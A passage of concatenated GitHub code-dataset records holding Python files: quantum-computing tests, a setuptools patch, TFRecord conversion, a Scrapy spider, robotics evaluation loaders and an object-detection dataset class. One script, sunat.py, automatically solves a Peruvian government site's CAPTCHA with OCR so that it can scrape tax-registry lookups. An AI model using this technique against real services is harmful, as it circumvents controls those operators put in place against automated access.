sorted(isa.edges)[0].type == 'CPHASE'\n assert sorted(isa.edges)[0].targets == [0, 4]\n\n\ndef test_run(forest):\n qc = QuantumComputer(\n name='testy!',\n qam=QVM(connection=forest, gate_noise=[0.01] * 3),\n device=NxDevice(nx.complete_graph(3)),\n )\n bitstrings = qc.run(Program(\n H(0),\n CNOT(0, 1),\n CNOT(1, 2),\n MEASURE(0, 0),\n MEASURE(1, 1),\n MEASURE(2, 2),\n ), classical_addresses=[0, 1, 2], trials=1000)\n\n assert bitstrings.shape == (1000, 3)\n parity = np.sum(bitstrings, axis=1) % 3\n assert 0 < np.mean(parity) < 0.15\n\n\ndef decoherance_noise_with_asymettric_ro(isa: ISA):\n \"\"\"Reimplementation of `add_decoherance_noise` with asymmetric readout.\n\n For simplicity, we use the default values for T1, T2, gate times, et al. and hard-code\n readout fidelities here.\n \"\"\"\n gates = gates_in_isa(isa)\n noise_model = _decoherence_noise_model(gates)\n p00 = 0.975\n p11 = 0.911\n aprobs = np.array([[p00, 1 - p00],\n [1 - p11, p11]])\n aprobs = {q: aprobs for q in noise_model.assignment_probs.keys()}\n return NoiseModel(noise_model.gates, aprobs)\n\n\ndef test_readout_symmetrization(forest):\n device = NxDevice(nx.complete_graph(3))\n noise_model = decoherance_noise_with_asymettric_ro(device.get_isa())\n qc = QuantumComputer(\n name='testy!',\n qam=QVM(connection=forest, noise_model=noise_model),\n device=device\n )\n\n prog = Program(I(0), X(1),\n MEASURE(0, 0),\n MEASURE(1, 1))\n\n bs1 = qc.run(prog, [0, 1], 1000)\n avg0_us = np.mean(bs1[:, 0])\n avg1_us = 1 - np.mean(bs1[:, 1])\n diff_us = avg1_us - avg0_us\n print(avg0_us, avg1_us, diff_us)\n assert diff_us > 0.03\n\n bs2 = qc.run_symmetrized_readout(prog, [0, 1], 1000)\n avg0_s = np.mean(bs2[:, 0])\n avg1_s = 1 - np.mean(bs2[:, 1])\n diff_s = avg1_s - avg0_s\n print(avg0_s, avg1_s, diff_s)\n assert diff_s < 0.05\n","repo_name":"takehuge/pyquil","sub_path":"pyquil/tests/test_quantum_computer.py","file_name":"test_quantum_computer.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"6256758772","text":"def __boot():\n import sys\n import os\n PYTHONPATH = os.environ.get('PYTHONPATH')\n if PYTHONPATH is None or (sys.platform=='win32' and not PYTHONPATH):\n PYTHONPATH = []\n else:\n PYTHONPATH = PYTHONPATH.split(os.pathsep)\n\n pic = getattr(sys,'path_importer_cache',{})\n stdpath = sys.path[len(PYTHONPATH):]\n mydir = os.path.dirname(__file__)\n #print \"searching\",stdpath,sys.path\n\n for item in stdpath:\n if item==mydir or not item:\n continue # skip if current dir. on Windows, or my own directory\n importer = pic.get(item)\n if importer is not None:\n loader = importer.find_module('site')\n if loader is not None:\n # This should actually reload the current module\n loader.load_module('site')\n break\n else:\n try:\n import imp # Avoid import loop in Python >= 3.3\n stream, path, descr = imp.find_module('site',[item])\n except ImportError:\n continue\n if stream is None:\n continue\n try:\n # This should actually reload the current module\n imp.load_module('site',stream,path,descr)\n finally:\n stream.close()\n break\n else:\n raise ImportError(\"Couldn't find the real 'site' module\")\n\n #print \"loaded\", __file__\n\n known_paths = dict([(makepath(item)[1],1) for item in sys.path]) # 2.2 comp\n\n oldpos = getattr(sys,'__egginsert',0) # save old insertion position\n sys.__egginsert = 0 # and reset the current one\n\n for item in PYTHONPATH:\n addsitedir(item)\n\n sys.__egginsert += oldpos # restore effective old position\n\n d, nd = makepath(stdpath[0])\n insert_at = None\n new_path = []\n\n for item in sys.path:\n p, np = makepath(item)\n\n if np==nd and insert_at is None:\n # We've hit the first 'system' path entry, so added entries go here\n insert_at = len(new_path)\n\n if np in known_paths or insert_at is None:\n new_path.append(item)\n else:\n # new path after the insert point, back-insert it\n new_path.insert(insert_at, item)\n insert_at += 1\n\n sys.path[:] = new_path\n\nif __name__=='site':\n __boot()\n del __boot\n","repo_name":"rootsongjc/kubernetes-handbook","sub_path":"node_modules/gitbook-plugin-sitemap/node_modules/sitemap/env/lib/python2.7/site-packages/setuptools/site-patch.py","file_name":"site-patch.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":10808,"dataset":"github-code","pt":"67"} +{"seq_id":"8392312181","text":"import sys\nimport math\nimport bisect\nfrom sys import stdin,stdout\nfrom math import gcd,floor,sqrt,log\nfrom collections import defaultdict as dd\nfrom bisect import bisect_left as bl,bisect_right as br\n\nsys.setrecursionlimit(100000000)\n\ninp =lambda: int(input())\nstrng =lambda: input().strip()\njn =lambda x,l: x.join(map(str,l))\nstrl =lambda: list(input().strip())\nmul =lambda: map(int,input().strip().split())\nmulf =lambda: map(float,input().strip().split())\nseq =lambda: list(map(int,input().strip().split()))\n\nceil =lambda x: int(x) if(x==int(x)) else int(x)+1\nceildiv=lambda x,d: x//d if(x%d==0) else x//d+1\n\nflush =lambda: stdout.flush()\nstdstr =lambda: stdin.readline()\nstdint =lambda: int(stdin.readline())\nstdpr =lambda x: stdout.write(str(x))\n\n\n\n#---------------------- USER DEFINED INPUT FUNCTIONS ----------------------#\ndef inp():\n return(int(input()))\ndef inlt():\n return(list(map(int,input().split())))\ndef insr():\n return(input().strip())\ndef invr():\n return(map(int,input().split()))\n\n\n\ndef solve(): \n # eof input int b,p,m\n n = inp()\n s = str(fact(n))\n cnt=0\n for i in range(size(s),0):\n if(s[i]=='0'):\n cnt+=1\n i-=1\n print(cnt)\n \n\n\n \nif __name__==\"__main__\":\n solve()\n\n\n\n# R = int(input(\"Enter the number of rows:\"))\n# C = int(input(\"Enter the number of columns:\"))\n \n# # Initialize matrix\n# matrix = []\n# print(\"Enter the entries rowwise:\")\n \n# # For user input\n# for i in range(R): # A for loop for row entries\n# a =[]\n# for j in range(C): # A for loop for column entries\n# a.append(int(input()))\n# matrix.append(a)\n \n# # For printing the matrix\n# for i in range(R):\n# for j in range(C):\n# print(matrix[i][j], end = \" \")\n# print()\n\n\n\"\"\" one-liner logic to take input for rows and columns\nmat = [[int(input()) for x in range (C)] for y in range(R)]\n\nmatrix = [[0 for j in range(n)] for i in range(m)]\n\nmatrix = [x[:] for x in [[0]*n]*m] \"\"\"\n\n# 2d input with numpy\n# import numpy as np\n \n# R = int(input(\"Enter the number of rows:\"))\n# C = int(input(\"Enter the number of columns:\"))\n \n \n# print(\"Enter the entries in a single line (separated by space): \")\n \n# # User input of entries in a \n# # single line separated by space\n# entries = list(map(int, input().split()))\n \n# # For printing the matrix\n# matrix = np.array(entries).reshape(R, C)\n# print(matrix)\n\n\n# matrix = []\n# for i in range(0,m):\n# matrix.append([])\n# for j in range(0,n):\n# matrix[i].append(0)","repo_name":"AI-human/CP-Snippet","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27321059253","text":"\"\"\" convert input data to Standard Tensorflow Format \"\"\"\n\nimport os\nimport tensorflow as tf\nfrom tqdm import tqdm\n\nmax_len = 210\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\ndef _list_feature(lst):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=lst))\n\ndef convert_to_tf_format(mode):\n encoder_file = open('./{}_ids_raw_data.txt'.format(mode), 'r').read().splitlines()\n decoder_file = open('./{}_ids_rerank_data.txt'.format(mode), 'r').read().splitlines()\n seed_file = open('./{}_ids_seed.txt'.format(mode), 'r').read().splitlines()\n\n encoder_seqs = []\n encoder_seqs_len = []\n decoder_seqs = []\n decoder_seqs_len = []\n seed_ids = []\n for i in range(len(encoder_file)):\n encoder_seq_ids = encoder_file[i].strip().split(' ')\n decoder_seq_ids = decoder_file[i].strip().split(' ')\n # if len(encoder_seq_ids) == 0 or len(encoder_seq_ids) > 199:\n # continue\n # if len(decoder_seq_ids) == 0 or len(decoder_seq_ids) > 199:\n # continue\n encoder_seq_ids = [1] + \\\n [int(id) for id in encoder_seq_ids if len(id) > 0] + [2]\n decoder_seq_ids = [1] + \\\n [int(id) for id in decoder_seq_ids if len(id) > 0] + [2]\n\n encoder_seqs.append(encoder_seq_ids)\n encoder_seqs_len.append(len(encoder_seq_ids) - 1)\n decoder_seqs.append(decoder_seq_ids)\n decoder_seqs_len.append(len(decoder_seq_ids) - 1)\n seed_ids.append(int(seed_file[i]))\n\n mx = max([max(encoder_seqs_len), max(decoder_seqs_len)]) + 1\n print('{}\\'s max_len: {}'.format(mode, mx))\n mx = max_len\n encoder_seqs = [seq + [0] * (mx - len(seq)) for seq in encoder_seqs]\n decoder_seqs = [seq + [0] * (mx - len(seq)) for seq in decoder_seqs]\n print('num of data: %d' % (len(encoder_seqs)))\n print('max len: %d' % (len(decoder_seqs[0]) - 1))\n\n writer = tf.python_io.TFRecordWriter('rnn_{}.tfrecords'.format(mode))\n for i in tqdm(range(len(encoder_seqs))):\n example = tf.train.Example(features=tf.train.Features(feature={\n 'encoder_input': _list_feature(encoder_seqs[i]),\n 'encoder_input_len': _int64_feature(encoder_seqs_len[i]),\n 'decoder_input': _list_feature(decoder_seqs[i]),\n 'decoder_input_len': _int64_feature(decoder_seqs_len[i]),\n 'seed_ids': _int64_feature(seed_ids[i])\n }))\n writer.write(example.SerializeToString())\n writer.close()\n\nif __name__ == \"__main__\":\n print('max_len should be less or equal to {}'.format(max_len - 1))\n convert_to_tf_format('train')\n convert_to_tf_format('valid')\n","repo_name":"shunyaoshih/playlist-cleaning","sub_path":"data/rnn_tf_format.py","file_name":"rnn_tf_format.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"7757725040","text":"import requests\nimport pytesseract\nfrom PIL import Image\nfrom bs4 import BeautifulSoup\n\nsesion = requests.Session()\nsesion.get('http://www.sunat.gob.pe/cl-ti-itmrconsruc/jcrS00Alias')\n\nrespuesta_imagen = sesion.get('http://www.sunat.gob.pe/cl-ti-itmrconsruc/captcha?accion=image&nmagic=1')\n\nwith open('imagen.png', 'wb') as imagen:\n imagen.write(respuesta_imagen.content)\n\ncaptcha = pytesseract.image_to_string(Image.open('imagen.png'))\nprint('CAPTCHA: {}'.format(captcha))\n\nruc = input('ingrese RUC: ')\n\ninformacion = {\n 'accion': 'consPorRuc',\n 'razSoc': '',\n 'nroRuc': ruc,\n 'nrodoc': '',\n 'contexto': 'ti-it',\n 'tQuery': 'on',\n 'search1': ruc,\n 'codigo': captcha,\n 'tipdoc': '1',\n 'search2': '',\n 'coddpto': '',\n 'codprov': '',\n 'coddist': '',\n 'search3': '',\n}\n\nrespuesta = sesion.post('http://www.sunat.gob.pe/cl-ti-itmrconsruc/jcrS00Alias', data=informacion)\n\nsoup = BeautifulSoup(respuesta.content, 'html.parser')\nprimera_tabla = soup.find_all('table')[0]\nfilas = primera_tabla.find_all('tr')\ntextos = [fila.text.strip().replace(' ', '') for fila in filas]\nresultado = '\\n'.join(textos)\nprint(resultado)\n\n","repo_name":"CarlosVV/PythonGroup_07","sub_path":"clase04/sunat.py","file_name":"sunat.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40877825425","text":"import scrapy\nimport re\n\n\nclass CommentsSpider(scrapy.Spider):\n name = \"category\"\n start_urls = ['https://www.digikala.com/']\n\n def parse(self, response):\n for href in response.xpath(\"//footer[@id='dk-footer']/section//div[@class='box']/ul/li/a/@href\"):\n url = response.urljoin(href.extract())\n yield scrapy.Request(url, callback=self.parse_following)\n\n def parse_following(self, response):\n for href in response.xpath(\"//li[@class='rootitem2']/ul/li/a/@href\"):\n if (href.extract()).split('/')[1] == 'Main':\n url = 'https://www.digikala.com' + href.extract()\n yield scrapy.Request(url, callback=self.parse_following)\n else:\n url = 'https://www.digikala.com' + href.extract()\n pretty_url = re.sub(r\"#!/(.*)$\", '', url)\n with open('category_urls.txt', 'r') as f1:\n if pretty_url+'\\n' not in f1.readlines():\n with open('category_urls.txt', 'a') as f2:\n f2.write(pretty_url + '\\n')\n","repo_name":"javadzarezadeh/scradigipy","sub_path":"digikala_crawler/spiders/category_spyder.py","file_name":"category_spyder.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11199819313","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Data Handling\"\"\"\n\nfrom typing import Any, Dict, Generator, List, Optional, Union, cast\nimport pandas as pd\nfrom pathlib import Path\n\nfrom proseco.utility.io import load_data\n\n\ndef _convert_to_path(path: Union[Path, str]) -> Path:\n \"\"\"Converts the path parameter to a Path object\"\"\"\n if isinstance(path, str):\n path = Path(path).resolve()\n return path\n\n\ndef load_summary(evaluation_directory: Union[Path, str]) -> List[Dict[str, Any]]:\n \"\"\"Returns the result summary as a list of dictionaries.\n\n Parameters\n ----------\n evaluation_directory : Union[Path, str]\n directory of the MCTS evaluation\n\n Returns\n -------\n List[Dict[str, Any]]\n list containing the result summary for each run\n \"\"\"\n evaluation_directory = _convert_to_path(evaluation_directory)\n # assumes that there exists only one file for the summary\n summary_path = list(evaluation_directory.glob(\"results.*\"))[0]\n summary = cast(List[Dict[str, Any]], load_data(summary_path))\n return summary\n\n\ndef get_summary(evaluation_directory: Union[Path, str]) -> pd.DataFrame:\n \"\"\"Returns the result summary as a list of dictionaries.\n\n Parameters\n ----------\n evaluation_directory : Union[Path, str]\n directory of the MCTS evaluation\n\n Returns\n -------\n List[Dict[str, Any]]\n list containing the result summary for each run\n \"\"\"\n evaluation_directory = _convert_to_path(evaluation_directory)\n # NOTE: Summary is always saved as .json file\n summary = pd.read_json(evaluation_directory / \"results.json\")\n summary.drop(\n columns=[\n \"options_scenario_uuid\",\n \"options_uuid\",\n \"options_hash\",\n \"options_scenario_hash\",\n ],\n inplace=True,\n )\n # backwards compatibility with evaluations before terminal state has been removed\n if \"terminalState\" in summary.columns:\n summary.drop(\"terminalState\", axis=1, inplace=True)\n return summary.round(2)\n\n\ndef get_run_directories(\n evaluation_directory: Union[Path, str]\n) -> Generator[Path, None, None]:\n \"\"\"Returns the run directory paths that are within an evaluation directory.\n\n Parameters\n ----------\n evaluation_directory : Union[Path, str]\n directory of the MCTS evaluation\n\n Yields\n -------\n Path\n path of a run directory\n \"\"\"\n evaluation_directory = _convert_to_path(evaluation_directory)\n # summary = load_summary(evaluation_directory)\n # run_directories = [Path(run[\"path\"]) for run in summary]\n # return run_directories\n\n for inum_dir in evaluation_directory.iterdir():\n if not inum_dir.is_dir():\n continue\n for run_dir in inum_dir.iterdir():\n if not run_dir.is_dir():\n continue\n yield run_dir\n\n\ndef load_result(run_directory: Union[Path, str]) -> Dict[str, Any]:\n \"\"\"Returns the result as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the result\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for the result\n result_path = list(run_directory.glob(\"result.*\"))[0]\n result = cast(Dict[str, Any], load_data(result_path))\n return result\n\n\ndef is_successful_result(result_data: Dict[str, Any]) -> bool:\n \"\"\"Checks whether a result of a specific run is successful.\n\n Parameters\n ----------\n result_data : Dict[str, Any]\n dictionary containing the result data of a specific run\n\n Returns\n -------\n bool\n True if the result is successful, False otherwise\n \"\"\"\n return not (result_data[\"carsCollided\"] or result_data[\"carsInvalid\"])\n\n\ndef load_options(run_directory: Union[Path, str]) -> Dict[str, Any]:\n \"\"\"Returns the options as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the options\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for the options\n options_path = list(run_directory.glob(\"options_output.*\"))[0]\n options = cast(Dict[str, Any], load_data(options_path))\n return options\n\n\ndef load_scenario(run_directory: Union[Path, str]) -> Dict[str, Any]:\n \"\"\"Returns the scenario as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the scenario\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for the scenario\n scenario_path = list(run_directory.glob(\"scenario_output.*\"))[0]\n scenario = cast(Dict[str, Any], load_data(scenario_path))\n return scenario\n\n\ndef load_uuid(run_directory: Union[Path, str]) -> Dict[str, Any]:\n \"\"\"Returns the UUID of the options and the options-scenario-tuple as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the UUIDs\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for the uuid\n uuid_path = list(run_directory.glob(\"uuid.*\"))[0]\n uuid = cast(Dict[str, Any], load_data(uuid_path))\n return uuid\n\n\ndef load_trajectory(run_directory: Union[Path, str]) -> Optional[Dict[str, Any]]:\n \"\"\"Returns the trajectory as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the trajectory\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for the trajectory\n try:\n trajectory_path = list(run_directory.glob(\"trajectory_annotated.*\"))[0]\n except IndexError:\n return None\n trajectory = cast(Dict[str, Any], load_data(trajectory_path))\n return trajectory\n\n\ndef get_trajectory_dataframe(\n trajectory_data: Dict[str, Any], max_level: Optional[int] = None\n) -> pd.DataFrame:\n \"\"\"Returns the trajectory as a DataFrame.\n\n Parameters\n ----------\n trajectory_data : Dict[str, Any]\n dictionary containing the trajectory data\n max_level : Optional[int], optional\n max number of levels (depth of dict) to normalize.\n if None, normalizes all levels, by default None\n\n Returns\n -------\n pd.DataFrame\n DataFrame for the trajectory data\n \"\"\"\n trajectory_df = pd.json_normalize(\n trajectory_data[\"agents\"], [\"trajectory\"], \"id\", max_level=max_level\n )\n return trajectory_df\n\n\ndef load_step(\n run_directory: Union[Path, str], step: int = 0\n) -> Optional[Dict[str, Any]]:\n \"\"\"Returns the step data as a dictionary.\n\n Parameters\n ----------\n run_directory : Union[Path, str]\n directory of the MCTS evaluator output for a specific run\n step : int, optional\n step of the trajectory, by default 0\n\n Returns\n -------\n Dict[str, Any]\n dictionary containing the step data\n \"\"\"\n run_directory = _convert_to_path(run_directory)\n # assumes that there exists only one file for this step\n try:\n step_path = list(run_directory.glob(\"root_node_\" + str(step) + \".*\"))[0]\n except IndexError:\n return None\n step_data = cast(Dict[str, Any], load_data(step_path))\n # currently, the step value isn't included in the file, so add it manually\n step_data[\"step\"] = step\n return step_data\n\n\ndef get_step_dataframe(step_data: Dict[str, Any]) -> pd.DataFrame:\n \"\"\"Returns the step data as a DataFrame\n\n Parameters\n ----------\n step_data : Dict[str, Any]\n dictionary containing the step data\n\n Returns\n -------\n pd.DataFrame\n DataFrame for the step data\n \"\"\"\n step_df = pd.json_normalize(step_data[\"agents\"], [\"actions\"], \"id\")\n\n step_df[\"step\"] = step_data[\"step\"]\n return step_df\n\n\ndef get_step_from_file_name(step_path: Path) -> int:\n \"\"\"Extracts the step from the file name.\n\n Parameters\n ----------\n step_path : Path\n path to the `root_node_{step}.*` file\n\n Returns\n -------\n int\n step of the trajectory\n \"\"\"\n file_name = step_path.name\n file_prefix = \"root_node_\"\n start = file_name.index(file_prefix) + len(file_prefix)\n end = file_name.rindex(\".\")\n step = int(file_name[start:end])\n return step\n\n\ndef get_iteration_success_dataframe(\n iteration_df: pd.DataFrame, **kwargs\n) -> pd.DataFrame:\n \"\"\"Returns a DataFrame containing the success rate of \"scenario\"-\"number of iterations\" combinations.\n\n Parameters\n ----------\n iteration_df : pd.DataFrame\n DataFrame containing the result data, a success indicator and the number of iterations\n **kwargs\n keyword arguments for the function `get_feature_success_dataframe`\n\n Returns\n -------\n pd.DataFrame\n DataFrame containing the scenario, number of iterations, success rate and further values specified by the parameters\n \"\"\"\n # if n_iterations was not iterated over, we need to add it to the dataframe\n if \"n_iterations\" not in iteration_df:\n options_output = load_data(Path(iteration_df.path[0]) / \"options_output.json\")\n iteration_df[\"n_iterations\"] = options_output[\"compute_options\"][\"n_iterations\"]\n return get_feature_success_dataframe(\"n_iterations\", iteration_df, **kwargs)\n\n\ndef get_feature_success_dataframe(\n feature: str,\n result_df: pd.DataFrame,\n *,\n include_std: bool = False,\n) -> pd.DataFrame:\n \"\"\"Returns a DataFrame containing the success rate of \"scenario\"-\"feature\" combinations.\n\n Parameters\n ----------\n feature: str\n the feature that must be present in `result_df`\n result_df : pd.DataFrame\n DataFrame containing the result data, a success indicator and the feature\n include_std : bool, optional\n True if the standard deviation should be included, by default False\n\n Returns\n -------\n pd.DataFrame\n DataFrame containing the scenario, the feature, the success rate and further values specified by the parameters\n \"\"\"\n rate_grouped = result_df.groupby([feature, \"scenario\"])[[\"success\"]]\n success_df = rate_grouped.mean().round(2)\n if success_df[\"success\"].dtype == \"bool\":\n success_df[\"success\"] = success_df[\"success\"].astype(\"float\")\n\n success_df.rename(columns={\"success\": \"mean_success_rate\"}, inplace=True)\n\n # list of DataFrames that will later be merged with the success_df\n df_list = []\n\n if include_std:\n std_df = rate_grouped.std().round(2)\n std_df.rename(columns={\"success\": \"std_success_rate\"}, inplace=True)\n df_list.append(std_df)\n\n if df_list:\n success_df = success_df.join(df_list)\n\n success_df.reset_index(inplace=True)\n return success_df\n","repo_name":"ProSeCo-Planning/ros_proseco_planning","sub_path":"python/proseco/dashboard/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11321,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"18083101601","text":"\"\"\"\nThis demo uses MPC as the expert collects data for the FlexibleArmEnv environment.\nRUN COMMAND: python -m tests.test_mpc_data_collection\n\"\"\"\n\nimport numpy as np\nfrom stable_baselines3.common.vec_env import DummyVecEnv\n\nfrom imitation.data import rollout\nfrom imitation.data.wrappers import RolloutInfoWrapper\nfrom imitation.data import serialize\nfrom utils.gym_utils import (\n create_unified_flexiblearmenv_and_controller_and_safety_filter, SafetyWrapper,\n)\n\nSEED = 0\nrng = np.random.default_rng(SEED)\n\nenv, expert, _ = create_unified_flexiblearmenv_and_controller_and_safety_filter(\n create_controller=True, add_wall_obstacle=False, create_safety_filter=False\n)\n\n# --- Collect expert trajectories ---\nprint(\"Sampling expert transitions.\")\nrollouts = rollout.rollout(\n expert,\n DummyVecEnv([lambda: RolloutInfoWrapper(env)]),\n rollout.make_sample_until(min_timesteps=None, min_episodes=100),\n rng=rng,\n verbose=True,\n render=True,\n)\nserialize.save(\"mpc_expert_rollouts.pkl\", rollouts)\n# -----------------------------------\n","repo_name":"shamilmamedov/flexible_arm","sub_path":"tests/test_mpc_data_collection.py","file_name":"test_mpc_data_collection.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3290705597","text":"import cv2\r\nimport numpy as np\r\nimport torch\r\nfrom PIL import Image\r\nfrom torch.utils.data.dataset import Dataset\r\nimport os\r\n\r\nfrom utils.utils import cvtColor, preprocess_input\r\nimport utils.transforms as T\r\n\r\nclass FRCNNDataset(Dataset):\r\n def __init__(self, annotation_lines, input_shape = [600, 600], train = True):\r\n self.annotation_lines = annotation_lines\r\n self.length = len(annotation_lines)\r\n self.input_shape = input_shape\r\n self.train = train\r\n\r\n def __len__(self):\r\n return self.length\r\n\r\n def __getitem__(self, index):\r\n index = index % self.length\r\n #---------------------------------------------------#\r\n # 训练时进行数据的随机增强\r\n # 验证时不进行数据的随机增强\r\n #---------------------------------------------------#\r\n image, y = self.get_random_data(self.annotation_lines[index], self.input_shape[0:2], random = self.train)\r\n image = np.transpose(preprocess_input(np.array(image, dtype=np.float32)), (2, 0, 1))\r\n box_data = np.zeros((len(y), 5))\r\n if len(y) > 0:\r\n box_data[:len(y)] = y\r\n\r\n box = box_data[:, :4]\r\n label = box_data[:, -1]\r\n return image, box, label\r\n\r\n def rand(self, a=0, b=1):\r\n return np.random.rand()*(b-a) + a\r\n\r\n def get_random_data(self, annotation_line, input_shape, jitter=.3, hue=.1, sat=0.7, val=0.4, random=True):\r\n line = annotation_line.split()\r\n #------------------------------#\r\n # 读取图像并转换成RGB图像\r\n #------------------------------#\r\n image = Image.open(line[0])\r\n image = cvtColor(image)\r\n #------------------------------#\r\n # 获得图像的高宽与目标高宽\r\n #------------------------------#\r\n iw, ih = image.size\r\n h, w = input_shape\r\n #------------------------------#\r\n # 获得预测框\r\n #------------------------------#\r\n box = np.array([np.array(list(map(int,box.split(',')))) for box in line[1:]])\r\n\r\n if not random:\r\n scale = min(w/iw, h/ih)\r\n nw = int(iw*scale)\r\n nh = int(ih*scale)\r\n dx = (w-nw)//2\r\n dy = (h-nh)//2\r\n\r\n #---------------------------------#\r\n # 将图像多余的部分加上灰条\r\n #---------------------------------#\r\n image = image.resize((nw,nh), Image.BICUBIC)\r\n new_image = Image.new('RGB', (w,h), (128,128,128))\r\n new_image.paste(image, (dx, dy))\r\n image_data = np.array(new_image, np.float32)\r\n\r\n #---------------------------------#\r\n # 对真实框进行调整\r\n #---------------------------------#\r\n if len(box)>0:\r\n np.random.shuffle(box)\r\n box[:, [0,2]] = box[:, [0,2]]*nw/iw + dx\r\n box[:, [1,3]] = box[:, [1,3]]*nh/ih + dy\r\n box[:, 0:2][box[:, 0:2]<0] = 0\r\n box[:, 2][box[:, 2]>w] = w\r\n box[:, 3][box[:, 3]>h] = h\r\n box_w = box[:, 2] - box[:, 0]\r\n box_h = box[:, 3] - box[:, 1]\r\n box = box[np.logical_and(box_w>1, box_h>1)] # discard invalid box\r\n\r\n return image_data, box\r\n \r\n #------------------------------------------#\r\n # 对图像进行缩放并且进行长和宽的扭曲\r\n #------------------------------------------#\r\n new_ar = iw/ih * self.rand(1-jitter,1+jitter) / self.rand(1-jitter,1+jitter)\r\n scale = self.rand(.25, 2)\r\n if new_ar < 1:\r\n nh = int(scale*h)\r\n nw = int(nh*new_ar)\r\n else:\r\n nw = int(scale*w)\r\n nh = int(nw/new_ar)\r\n image = image.resize((nw,nh), Image.BICUBIC)\r\n\r\n #------------------------------------------#\r\n # 将图像多余的部分加上灰条\r\n #------------------------------------------#\r\n dx = int(self.rand(0, w-nw))\r\n dy = int(self.rand(0, h-nh))\r\n new_image = Image.new('RGB', (w,h), (128,128,128))\r\n new_image.paste(image, (dx, dy))\r\n image = new_image\r\n\r\n #------------------------------------------#\r\n # 翻转图像\r\n #------------------------------------------#\r\n flip = self.rand()<.5\r\n if flip: image = image.transpose(Image.FLIP_LEFT_RIGHT)\r\n\r\n image_data = np.array(image, np.uint8)\r\n #---------------------------------#\r\n # 对图像进行色域变换\r\n # 计算色域变换的参数\r\n #---------------------------------#\r\n r = np.random.uniform(-1, 1, 3) * [hue, sat, val] + 1\r\n #---------------------------------#\r\n # 将图像转到HSV上\r\n #---------------------------------#\r\n hue, sat, val = cv2.split(cv2.cvtColor(image_data, cv2.COLOR_RGB2HSV))\r\n dtype = image_data.dtype\r\n #---------------------------------#\r\n # 应用变换\r\n #---------------------------------#\r\n x = np.arange(0, 256, dtype=r.dtype)\r\n lut_hue = ((x * r[0]) % 180).astype(dtype)\r\n lut_sat = np.clip(x * r[1], 0, 255).astype(dtype)\r\n lut_val = np.clip(x * r[2], 0, 255).astype(dtype)\r\n\r\n image_data = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val)))\r\n image_data = cv2.cvtColor(image_data, cv2.COLOR_HSV2RGB)\r\n\r\n #---------------------------------#\r\n # 对真实框进行调整\r\n #---------------------------------#\r\n if len(box)>0:\r\n np.random.shuffle(box)\r\n box[:, [0,2]] = box[:, [0,2]]*nw/iw + dx\r\n box[:, [1,3]] = box[:, [1,3]]*nh/ih + dy\r\n if flip: box[:, [0,2]] = w - box[:, [2,0]]\r\n box[:, 0:2][box[:, 0:2]<0] = 0\r\n box[:, 2][box[:, 2]>w] = w\r\n box[:, 3][box[:, 3]>h] = h\r\n box_w = box[:, 2] - box[:, 0]\r\n box_h = box[:, 3] - box[:, 1]\r\n box = box[np.logical_and(box_w>1, box_h>1)] \r\n \r\n return image_data, box\r\n\r\n# DataLoader中collate_fn使用\r\ndef frcnn_dataset_collate(batch):\r\n images = []\r\n bboxes = []\r\n labels = []\r\n for img, box, label in batch:\r\n images.append(img)\r\n bboxes.append(box)\r\n labels.append(label)\r\n images = torch.from_numpy(np.array(images))\r\n return images, bboxes, labels\r\n\r\ndef frcnn_dataset_collate_ex(batch):\r\n images = []\r\n ds = []\r\n for img, d in batch:\r\n images.append(img)\r\n ds.append(d)\r\n images = torch.from_numpy(np.array(images))\r\n return images, ds\r\n\r\nclass FRCNNDataset_ex(Dataset):\r\n def __init__(self, annotation_lines, transforms, input_shape = [600, 600], train = True):\r\n self.annotation_lines = annotation_lines\r\n self.length = len(annotation_lines)\r\n self.input_shape = input_shape\r\n self.train = train\r\n self.transforms = transforms\r\n\r\n def __len__(self):\r\n return self.length\r\n\r\n def __getitem__(self, index):\r\n index = index % self.length\r\n #---------------------------------------------------#\r\n # 训练时进行数据的随机增强\r\n # 验证时不进行数据的随机增强\r\n 